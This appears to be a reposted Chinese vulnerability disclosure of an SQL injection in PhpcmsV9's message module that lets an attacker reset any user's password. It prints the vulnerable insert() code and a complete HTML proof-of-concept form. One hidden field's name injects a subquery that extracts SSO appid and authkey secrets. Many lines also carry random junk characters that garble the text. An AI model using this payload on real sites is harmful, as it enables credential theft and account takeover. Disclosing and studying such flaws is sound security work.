PhpcmsV9 SQL注射修改任意用户密码漏洞

admin

简要描述：

8 w# ^0 D, F* G% V% j( k: b- q第二发如约来到，感谢大家的关注，在第二发中使用了一个无限制的SQL注射，最终目的可以修改任意用户密码，建议确认安全危害等级为高。
4 C7 c6 H; x4 F" \" a
5 j! _; O" q+ l* n& n3 \明天再更新下一个漏洞。
详细说明：
; o8 K8 m- @4 k, S) O3 R% c" o在/phpcms9/phpcms/modules/message/index.php中有代码如下：
2 H. s" ?# a8 m3 {) X2 P7 F
$messageid = $this->message_db->insert($_POST['info'],true);
( C( U- K, P  X1 M  H

insert方法是key value的，代码如下：

" `3 h- k, @& v4 Gpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
( k" B  H3 M! X3 s4 @( S                        return false;
                }
               
                $fielddata = array_keys($data);
                $valuedata = array_values($data);
                array_walk($fielddata, array($this, 'add_special_char'));
/ {: P1 g6 l  S                array_walk($valuedata, array($this, 'escape_string'));
8 u+ i' D8 p) G               
                $field = implode (',', $fielddata);
( H# c9 U6 }2 O                $value = implode (',', $valuedata);

0 P% a0 W: X/ ^& ]$ S' A                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
                $return = $this->execute($sql);
                return $return_insert_id ? $this->insert_id() : $return;
5 F8 |$ d# D. X0 u        }
' n& J' b) D1 k6 b, f

6 t/ n. p3 t. _7 X: Z嗯，很遗憾的是

array_walk($fielddata, array($this, 'add_special_char'));


中并没有对key做任何的过滤，所以，第一段提到的代码导致了一个SQL注射漏洞 ：（。

到此，为了poc一下，我读取了我本地的authkey，接下来我已经可以重置任意用户密码了，后面的事情我就没有演示了。
8 h: {) i9 T! }* j) T# W
" P! t3 M0 M  O  {漏洞证明：
读出了phpsso_server的appid和authkey，然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
# }& s0 b5 A) p: n& H% J
% F/ J& Z; o# `$ x% G, P8 Z0 F/ {
) ^6 X! p  V; B; `7 y表单如下：用户名什么的得自己改一改。
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
2 C- @: w: }5 S) P2 V6 C- ^% s. m' _<table width="100%" cellspacing="0" class="table_form">
<tr>
<th>标 题：</th>
5 {! ]! k1 ~+ ?0 ?+ B$ ~<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
4 Y9 _1 g( m% t3 L; X</tr>
/ t; P- a0 N6 [7 U<tr>
; A" T0 h. ~2 k* X/ L7 l0 E<th>内 容：</th>
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
" _4 T9 q/ Z  h; r: G; i9 E</tr>
4 u% T  M# m" M; e# f+ T4 q<input type="hidden" name="info[replyid]" value="2" />
<input type="hidden" name="info[send_to_id]" value="cc" />
. o4 {# x& N* j8 ^0 a<input type="hidden" name="info[send_from_id]" value="hh">
<!-- 漏洞的利用重点在这里开始 -->
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
; H' w9 ^# u: Z7 u<!-- 漏洞的利用重点在这里结束 -->
9 x9 U8 A! T1 F: B' @3 B% a<tr>
& v! e, o9 U0 ~5 S3 V1 {- M<th>验证码：</th>
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
( O& g& P0 }. S$ k</tr>
/ q% F5 F: M0 ?2 e( @7 @) W<tr>
& C  [. E3 z" [$ y- ]/ W+ v<td></td>
<td colspan="2"><label>
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
/ ~* O0 _$ m( v" u</label></td>
</tr>
5 b- S9 k) q, p" O7 x# ]+ @9 b4 S</table>
8 j0 W! Q$ P, q  V5 [% Q! X+ ]</form>
, a8 O0 n; Q5 ]' e在add_special_char函数内对key做过滤就可以了。


1 o6 @* Q6 J/ ?% R8 c- Y